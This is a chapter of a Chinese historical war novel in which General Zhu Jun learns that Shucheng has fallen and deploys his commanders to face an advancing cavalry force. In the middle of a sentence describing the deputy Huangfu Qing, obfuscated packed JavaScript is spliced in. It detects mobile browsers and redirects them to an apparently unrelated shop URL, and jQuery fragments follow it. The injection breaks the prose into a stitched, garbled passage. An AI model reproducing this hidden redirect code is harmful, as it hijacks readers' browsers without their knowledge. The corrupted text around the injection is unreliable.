第二日，天光破晓，竟是连日风沙后难得的一个晴日。万里无云，风也止息，仿佛天地都为即将到来的一切屏住了呼吸。


    大军埋锅造饭，拆除简易营寨，再次化作一道沉默的铁流，向着舒城方向碾去。与此同时，两队轻骑如离弦之箭，从营中疾驰而出，分向东、西两翼展开侦察。


    全军行进约两个时辰，人马稍作喘息。正要再度启程时，前方地平线上却出现了零星身影，紧接着越来越多——那是溃卒。他们丢盔弃甲，满脸惊惶，从队伍前方慌乱地汇入大军侧翼，带来不祥的预兆。


    张砚心中一紧，策马奔向中军。只见朱峻将军已驻马坡上，赵拓、赵宏兄弟与吴西老者皆在左右，人人面色凝重。


    “将军——”张砚刚开口，朱峻便抬起了手。


    “我知道。”朱峻的声音沉静，目光却紧锁着溃卒来的方向。


    不多时，一队亲兵押着一名衣衫破损、面带血污的将校模样之人来到马前。此人被朱峻身边那些全身覆甲、面覆鬼面、肋佩长刀的亲卫气势所慑，竟抖如筛糠，伏地不敢仰视。


    “小人……小人王虎，东门值守小校，见过将军！”他声音发颤。


    “起来回话。”朱峻道，“你是何部属？舒城情形究竟如何？细细说来，不得遗漏。”


    王虎勉强站起，语速急促而混乱：“回将军！敌军约在五日前集结完毕，三日前清晨，其‘忽勒’部主力突然猛攻我西南面！攻势极猛，他们有投石车……不到半日，外墙便坍塌难守。王霜将军率我等退守内墙与瓮城，与敌逐屋争夺，南北两翼更是反复易手……血战至夜半，双方才暂歇。第二日，敌复来攻，又是一整日厮杀……直到昨日，敌军仍以重兵缠斗西南两面，王霜、侯悍两位将军亲自在前沿抵敌……”


    他喘息一下，眼中浮现恐惧：“昨夜……昨夜我等正在轮休，城中突然就乱了！火起、喊杀声从北门方向传来！我接到急令，率本部赶往北门增援……可还未跑到城中心的府衙，就、就被迎面冲来的叛军杀散了！他们……他们是从城内杀出的！”


    帐前一片死寂。朱峻挥了挥手，亲兵将几乎瘫软的王虎带了下去。


    几乎同时，东面探马飞驰而至，滚鞍下马：“报！将军！破晓时分已见敌军沿官道追击我溃散兵卒，其主力约万余人，于舒城东门外简单集结后，正沿大路向西而来！据此应不足二十里！”


    另一路探马接踵而至，声音更急：“报！将军！前方十里发现敌军大部！先头至少三千甲骑，后方烟尘滚滚，不知还有多少步卒跟进！”


    “这么快！”张砚脱口而出。


    朱峻面色沉肃如铁，抬手止住众人议论。他目光扫过麾下诸将，那目光里有重量，也有决断。


    “传我将令——”他的声音陡然提高，清晰传入每个人耳中，“全军停止前进，就地依地势列阵，准备迎敌！”


    “张砚听令！”


    “末将在！”张砚踏前一步，甲胄铿锵。


    朱峻从令旗官手中取过一面赤红色羽旗，那红色如血，在晴空下刺目。“予你兵卒五千，包括你本部强弩营千人，为中军前锋，据守正面要道，筑阵阻敌！”命令斩钉截铁。


    此言一出，周围将领不禁微微骚动。以五千步卒正面迎击至少三千甲骑冲锋，这几乎是以身为盾。


    “将军！不若……”赵拓忍不住开口。


    朱峻一挥手，目光如电，赵拓即刻噤声。军令既下，不容置疑。


    张砚双手接过那面沉重的赤旗，转身欲行。


    “张砚。”朱峻忽然又叫住他。


    张砚回身，只见主将凝视着他，缓缓道：“前阵，便托付与你了。”


    张砚深吸一口气，短暂沉默后重重的点了点头。


    四目相对，无需多言。朱峻重重拍了拍张砚的臂甲，张砚转身，擎旗跃马，奔向本部。


    “赵拓听令！”


    “末将在！”


    “命你率一千二百步骑，合你本部亲兵，列阵于中军左翼，以为犄角，护持侧翼！”


    “得令！”赵拓接过青色令旗，疾驰而去。


    “赵宏听令！”


    “末将在！”


    “命你率一千二百步骑，同样合你本部，列阵于中军右翼，与左翼呼应！”


    “得令！”赵宏接旗，领命而出。


    诸将领命而去后，朱峻从身侧那一直沉默如山的副将手中，接过了自己的战盔。那副将名为皇甫青，身姿挺拔，如松如柏。他面庞英朗，气度沉静，一身黑色细甲收拾得利落非凡，肋下佩剑，右手倒提一杆亮银长枪，虽未着全副重铠，却自有一股渊渟岳峙的从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176951|196899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容气概。


    朱峻戴好战盔，与皇甫青对视一眼，二人并肩走出临时搭起的简易将台。


    坡下平原，战阵已初具规模。


    张砚将五千兵马分为五支。正面，三支千人队手持半人高巨盾，层层叠叠，在百余步宽的正面上筑起一道森严的盾墙。每面大盾后方，长矛斜指前方，如林而立。盾墙之后，预留的空隙间，是另一支千人队作为机动与预备。


    中军右侧，一处微微隆起的高坡之上，张砚亲率的强弩营已据险列阵。千张强弩对准了前方开阔地，弩手身后，箭橹如丘。张砚本人立马于弩阵之前，他今日换上了一身精致的银色扎甲，肩吞兽首，护腕锃亮，排式护腿战靴紧扣马镫，连坐下战马也披着亮银马铠。腰悬长剑，马鞍侧挂一面圆盾，银甲在阳光下流转冷冽的光泽，成为中军最醒目的标志。


    左右两翼，赵拓、赵宏兄弟所部各以一千二百人列出紧凑的菱形阵，既可独立作战，又能与中军相互呼应。


    大军最后方，朱峻与皇甫青驻马于一小丘上。朱峻一身玄黑鳞甲，外罩黑色大氅，战马亦覆黑甲，肃杀如深渊。其右后方，皇甫青持枪擎盾，巍然不动。他们身后，是静静肃立的两千“乌锥军”。这是真正的精锐重骑，人人身着黑色扎甲，半身马铠，面覆只露双眼的黑色鬼面盔，沉默如山，唯余战马偶尔的响鼻与甲片摩擦的细响。杀气凝而不发，却已让周遭空气都显沉重。


    朱峻与皇甫青的头盔内侧，暗藏机关，可拉下一张雕刻着狰狞鬼面的黑色金属面罩，覆于脸前，届时便与身后“乌锥军”一般无二，只留一双眼睛，冷视战场。


    整个军阵迅速列毕，寂然无声，唯有旌旗在无风的空气中微微低垂。无数目光投向东方地平线——那里，此刻空无一物，只有官道寂寞地延伸向天际，以及更远处，几缕示警的狼烟，笔直地升上湛蓝的天空。


    天地间，仿佛只剩下等待。而等待的尽头，将是铁与血的轰鸣。


    皇甫青极目远眺地平线上那逐渐清晰的烟尘，片刻后沉声道：“前锋虽是甲骑，气势却显飘忽，不似敌军。”


    “敌人……在后面。”朱峻的声音像淬过火的铁，低沉而肯定。他深邃的目光仿佛已穿透眼前十余里的空间，看到了另一场正在上演的血色鏖战。


    （本章完，约2100字）